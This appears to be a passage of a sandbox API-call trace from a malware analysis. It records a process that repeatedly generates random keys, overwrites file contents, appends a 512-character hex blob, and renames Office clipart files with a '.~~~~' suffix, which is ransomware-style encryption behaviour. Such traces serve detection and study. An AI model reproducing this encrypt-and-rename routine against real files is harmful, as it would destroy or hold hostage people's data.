	[0090.752] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0090.752] WriteFile (in: hFile=0x11c, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x1f8fec0*=0x200, lpOverlapped=0x0) returned 1
	[0090.752] CloseHandle (hObject=0x11c) returned 1
	[0090.753] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x3cdcf0
	[0090.753] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00405_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd00405_.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00405_.WMF.~~~~" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd00405_.wmf.~~~~")) returned 1
	[0090.753] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3cdcf0 | out: hHeap=0x300000) returned 1
	[0090.753] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357050 | out: hHeap=0x300000) returned 1
	[0090.754] GetLastError () returned 0x0
	[0090.754] CryptAcquireContextA (in: phProv=0x1f8fcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x1f8fcdc*=0x3a0048) returned 1
	[0090.755] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x362f90 | out: pbBuffer=0x362f90) returned 1
	[0090.755] CryptReleaseContext (hProv=0x3a0048, dwFlags=0x0) returned 1
	[0090.755] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x362f90 | out: hHeap=0x300000) returned 1
	[0090.755] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368b90
	[0090.755] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2879920
	[0090.755] QueryPerformanceCounter (in: lpPerformanceCount=0x1f8fc48 | out: lpPerformanceCount=0x1f8fc48*=21074513212) returned 1
	[0090.755] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x1f8fc88 | out: lpSystemTimeAsFileTime=0x1f8fc88*(dwLowDateTime=0x9fe011b0, dwHighDateTime=0x1d60e1e)) 
	[0090.755] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362400
	[0090.755] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623e0
	[0090.755] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357050
	[0090.755] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x3ac740
	[0090.755] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0090.755] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3ac740 | out: hHeap=0x300000) returned 1
	[0090.755] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0090.755] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0090.755] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x3cdcf0
	[0090.756] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0090.756] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x2871308
	[0090.756] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3cdcf0 | out: hHeap=0x300000) returned 1
	[0090.756] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x1f8fb18) 
	[0090.756] GetLastError () returned 0x0
	[0090.756] GetLastError () returned 0x0
	[0090.756] RtlUnwind (TargetFrame=0x1f8fc20, TargetIp=0x423f9b, ExceptionRecord=0x1f8f5dc, ReturnValue=0x0) 
	[0090.756] GetLastError () returned 0x0
	[0090.756] GetLastError () returned 0x0
	[0090.758] SetFilePointerEx (in: hFile=0x11c, liDistanceToMove=0xffffe16c, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0090.759] WriteFile (in: hFile=0x11c, lpBuffer=0x28b6ff8*, nNumberOfBytesToWrite=0x1e94, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x28b6ff8*, lpNumberOfBytesWritten=0x1f8fec0*=0x1e94, lpOverlapped=0x0) returned 1
	[0090.759] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28b6ff8 | out: hHeap=0x300000) returned 1
	[0090.759] SetFilePointerEx (in: hFile=0x11c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0090.759] WriteFile (in: hFile=0x11c, lpBuffer=0x368b90*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x368b90*, lpNumberOfBytesWritten=0x1f8fec0*=0x8, lpOverlapped=0x0) returned 1
	[0090.759] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0090.760] WriteFile (in: hFile=0x11c, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x1f8fec0*=0x200, lpOverlapped=0x0) returned 1
	[0090.760] CloseHandle (hObject=0x11c) returned 1
	[0090.760] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x3cdcf0
	[0090.760] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00407_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd00407_.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00407_.WMF.~~~~" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd00407_.wmf.~~~~")) returned 1
	[0090.761] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3cdcf0 | out: hHeap=0x300000) returned 1
	[0090.761] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357050 | out: hHeap=0x300000) returned 1
	[0090.761] GetLastError () returned 0x0
	[0090.762] CryptAcquireContextA (in: phProv=0x1f8fcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x1f8fcdc*=0x3a0048) returned 1
	[0090.763] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x362f90 | out: pbBuffer=0x362f90) returned 1
	[0090.763] CryptReleaseContext (hProv=0x3a0048, dwFlags=0x0) returned 1
	[0090.763] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x362f90 | out: hHeap=0x300000) returned 1
	[0090.763] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368b90
	[0090.763] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2879920
	[0090.763] QueryPerformanceCounter (in: lpPerformanceCount=0x1f8fc48 | out: lpPerformanceCount=0x1f8fc48*=21075303758) returned 1
	[0090.763] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x1f8fc88 | out: lpSystemTimeAsFileTime=0x1f8fc88*(dwLowDateTime=0x9fe011b0, dwHighDateTime=0x1d60e1e)) 
	[0090.763] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623e0
	[0090.763] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362400
	[0090.763] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357050
	[0090.763] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x3ac778
	[0090.763] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0090.763] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3ac778 | out: hHeap=0x300000) returned 1
	[0090.763] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0090.763] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0090.763] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x3cdcf0
	[0090.763] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0090.763] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x28713a0
	[0090.764] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3cdcf0 | out: hHeap=0x300000) returned 1
	[0090.764] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x1f8fb18) 
	[0090.764] GetLastError () returned 0x0
	[0090.764] GetLastError () returned 0x0
	[0090.764] RtlUnwind (TargetFrame=0x1f8fc20, TargetIp=0x423f9b, ExceptionRecord=0x1f8f5dc, ReturnValue=0x0) 
	[0090.764] GetLastError () returned 0x0
	[0090.764] GetLastError () returned 0x0
	[0090.909] SetFilePointerEx (in: hFile=0x11c, liDistanceToMove=0xffff5810, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0090.909] WriteFile (in: hFile=0x11c, lpBuffer=0x28b6ff8*, nNumberOfBytesToWrite=0xa7f0, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x28b6ff8*, lpNumberOfBytesWritten=0x1f8fec0*=0xa7f0, lpOverlapped=0x0) returned 1
	[0090.910] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28b6ff8 | out: hHeap=0x300000) returned 1
	[0090.910] SetFilePointerEx (in: hFile=0x11c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0090.910] WriteFile (in: hFile=0x11c, lpBuffer=0x368b90*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x368b90*, lpNumberOfBytesWritten=0x1f8fec0*=0x8, lpOverlapped=0x0) returned 1
	[0090.913] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0090.913] WriteFile (in: hFile=0x11c, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x1f8fec0*=0x200, lpOverlapped=0x0) returned 1
	[0090.913] CloseHandle (hObject=0x11c) returned 1
	[0090.913] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x28d0e88
	[0090.913] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00413_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd00413_.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00413_.WMF.~~~~" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd00413_.wmf.~~~~")) returned 1
	[0090.914] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28d0e88 | out: hHeap=0x300000) returned 1
	[0090.914] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357050 | out: hHeap=0x300000) returned 1
	[0090.914] GetLastError () returned 0x0
	[0090.914] CryptAcquireContextA (in: phProv=0x1f8fcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x1f8fcdc*=0x3a0048) returned 1
	[0090.915] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x362fe0 | out: pbBuffer=0x362fe0) returned 1
	[0090.915] CryptReleaseContext (hProv=0x3a0048, dwFlags=0x0) returned 1
	[0090.915] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x362fe0 | out: hHeap=0x300000) returned 1
	[0090.915] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368b90
	[0090.915] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2879920
	[0090.915] QueryPerformanceCounter (in: lpPerformanceCount=0x1f8fc48 | out: lpPerformanceCount=0x1f8fc48*=21090525084) returned 1
	[0090.915] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x1f8fc88 | out: lpSystemTimeAsFileTime=0x1f8fc88*(dwLowDateTime=0x9ff7df70, dwHighDateTime=0x1d60e1e)) 
	[0090.915] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362400
	[0090.915] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623e0
	[0090.915] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357050
	[0090.915] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x381c70
	[0090.915] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0090.915] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x381c70 | out: hHeap=0x300000) returned 1
	[0090.915] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0090.916] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0090.916] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x28d0e88
	[0090.916] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0090.916] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x2871438
	[0090.916] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28d0e88 | out: hHeap=0x300000) returned 1
	[0090.916] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x1f8fb18) 
	[0090.916] GetLastError () returned 0x0
	[0090.916] GetLastError () returned 0x0
	[0090.916] RtlUnwind (TargetFrame=0x1f8fc20, TargetIp=0x423f9b, ExceptionRecord=0x1f8f5dc, ReturnValue=0x0) 
	[0090.916] GetLastError () returned 0x0
	[0090.916] GetLastError () returned 0x0
	[0090.918] SetFilePointerEx (in: hFile=0x11c, liDistanceToMove=0xfffff470, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0090.918] WriteFile (in: hFile=0x11c, lpBuffer=0x28b6ff8*, nNumberOfBytesToWrite=0xb90, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x28b6ff8*, lpNumberOfBytesWritten=0x1f8fec0*=0xb90, lpOverlapped=0x0) returned 1
	[0090.918] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28b6ff8 | out: hHeap=0x300000) returned 1
	[0090.918] SetFilePointerEx (in: hFile=0x11c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0090.918] WriteFile (in: hFile=0x11c, lpBuffer=0x368b90*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x368b90*, lpNumberOfBytesWritten=0x1f8fec0*=0x8, lpOverlapped=0x0) returned 1
	[0090.919] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0090.919] WriteFile (in: hFile=0x11c, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x1f8fec0*=0x200, lpOverlapped=0x0) returned 1
	[0090.919] CloseHandle (hObject=0x11c) returned 1
	[0090.919] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x28d0e88
	[0090.919] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01152_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01152_.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01152_.WMF.~~~~" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01152_.wmf.~~~~")) returned 1
	[0090.920] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28d0e88 | out: hHeap=0x300000) returned 1
	[0090.920] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357050 | out: hHeap=0x300000) returned 1
	[0090.920] GetLastError () returned 0x0
	[0090.921] CryptAcquireContextA (in: phProv=0x1f8fcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x1f8fcdc*=0x3a0048) returned 1
	[0090.922] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x362fe0 | out: pbBuffer=0x362fe0) returned 1
	[0090.922] CryptReleaseContext (hProv=0x3a0048, dwFlags=0x0) returned 1
	[0090.922] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x362fe0 | out: hHeap=0x300000) returned 1
	[0090.922] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368b90
	[0090.922] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2879920
	[0090.922] QueryPerformanceCounter (in: lpPerformanceCount=0x1f8fc48 | out: lpPerformanceCount=0x1f8fc48*=21091466916) returned 1
	[0090.925] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x1f8fc88 | out: lpSystemTimeAsFileTime=0x1f8fc88*(dwLowDateTime=0x9ff7df70, dwHighDateTime=0x1d60e1e)) 
	[0090.925] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623e0
	[0090.925] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362400
	[0090.925] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357050
	[0090.925] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x381ca8
	[0090.925] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0090.925] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x381ca8 | out: hHeap=0x300000) returned 1
	[0090.925] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0090.925] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0090.925] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x28d0e88
	[0090.925] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0090.925] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x2871db8
	[0090.925] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28d0e88 | out: hHeap=0x300000) returned 1
	[0090.925] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x1f8fb18) 
	[0090.926] GetLastError () returned 0x0
	[0090.926] GetLastError () returned 0x0
	[0090.926] RtlUnwind (TargetFrame=0x1f8fc20, TargetIp=0x423f9b, ExceptionRecord=0x1f8f5dc, ReturnValue=0x0) 
	[0090.926] GetLastError () returned 0x0
	[0090.926] GetLastError () returned 0x0
	[0090.928] SetFilePointerEx (in: hFile=0x11c, liDistanceToMove=0xfffff1fc, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0090.928] WriteFile (in: hFile=0x11c, lpBuffer=0x28b6ff8*, nNumberOfBytesToWrite=0xe04, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x28b6ff8*, lpNumberOfBytesWritten=0x1f8fec0*=0xe04, lpOverlapped=0x0) returned 1
	[0090.928] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28b6ff8 | out: hHeap=0x300000) returned 1
	[0090.928] SetFilePointerEx (in: hFile=0x11c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0090.928] WriteFile (in: hFile=0x11c, lpBuffer=0x368b90*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x368b90*, lpNumberOfBytesWritten=0x1f8fec0*=0x8, lpOverlapped=0x0) returned 1
	[0090.929] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0090.929] WriteFile (in: hFile=0x11c, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x1f8fec0*=0x200, lpOverlapped=0x0) returned 1
	[0090.929] CloseHandle (hObject=0x11c) returned 1
	[0090.929] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x28d0e88
	[0090.929] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01157_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01157_.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01157_.WMF.~~~~" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01157_.wmf.~~~~")) returned 1
	[0090.930] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28d0e88 | out: hHeap=0x300000) returned 1
	[0090.930] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357050 | out: hHeap=0x300000) returned 1
	[0090.930] GetLastError () returned 0x0
	[0090.930] CryptAcquireContextA (in: phProv=0x1f8fcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x1f8fcdc*=0x3a0048) returned 1
	[0090.931] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x362fe0 | out: pbBuffer=0x362fe0) returned 1
	[0090.931] CryptReleaseContext (hProv=0x3a0048, dwFlags=0x0) returned 1
	[0090.931] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x362fe0 | out: hHeap=0x300000) returned 1
	[0090.931] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368b90
	[0090.931] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2879920
	[0090.931] QueryPerformanceCounter (in: lpPerformanceCount=0x1f8fc48 | out: lpPerformanceCount=0x1f8fc48*=21092113266) returned 1
	[0090.931] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x1f8fc88 | out: lpSystemTimeAsFileTime=0x1f8fc88*(dwLowDateTime=0x9ffa40d0, dwHighDateTime=0x1d60e1e)) 
	[0090.931] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362400
	[0090.931] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623e0
	[0090.931] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357050
	[0090.931] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x381ce0
	[0090.931] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0090.931] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x381ce0 | out: hHeap=0x300000) returned 1
	[0090.931] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0090.931] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0090.931] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x28d0e88
	[0090.931] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0090.931] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x2871e50
	[0090.932] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28d0e88 | out: hHeap=0x300000) returned 1
	[0090.932] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x1f8fb18) 
	[0090.932] GetLastError () returned 0x0
	[0090.932] GetLastError () returned 0x0
	[0090.932] RtlUnwind (TargetFrame=0x1f8fc20, TargetIp=0x423f9b, ExceptionRecord=0x1f8f5dc, ReturnValue=0x0) 
	[0090.932] GetLastError () returned 0x0
	[0090.932] GetLastError () returned 0x0
	[0090.934] SetFilePointerEx (in: hFile=0x11c, liDistanceToMove=0xfffff74c, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0090.934] WriteFile (in: hFile=0x11c, lpBuffer=0x28b6ff8*, nNumberOfBytesToWrite=0x8b4, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x28b6ff8*, lpNumberOfBytesWritten=0x1f8fec0*=0x8b4, lpOverlapped=0x0) returned 1
